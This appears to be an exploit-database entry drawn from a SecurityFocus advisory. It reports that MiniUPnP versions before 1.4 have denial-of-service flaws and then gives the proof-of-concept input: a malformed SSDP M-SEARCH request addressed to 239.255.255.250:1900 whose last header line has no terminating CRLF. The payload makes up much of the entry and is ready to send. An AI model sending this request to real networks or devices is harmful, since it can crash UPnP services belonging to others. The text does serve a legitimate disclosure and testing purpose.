source: http://www.securityfocus.com/bid/57602/info

MiniUPnP is prone to multiple denial-of-service vulnerabilities.

Attackers can exploit these issues to cause denial-of-service conditions.

MiniUPnP versions prior to 1.4 are vulnerable. 

M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:uuid:schemas:device:MX:3< no CRLF > 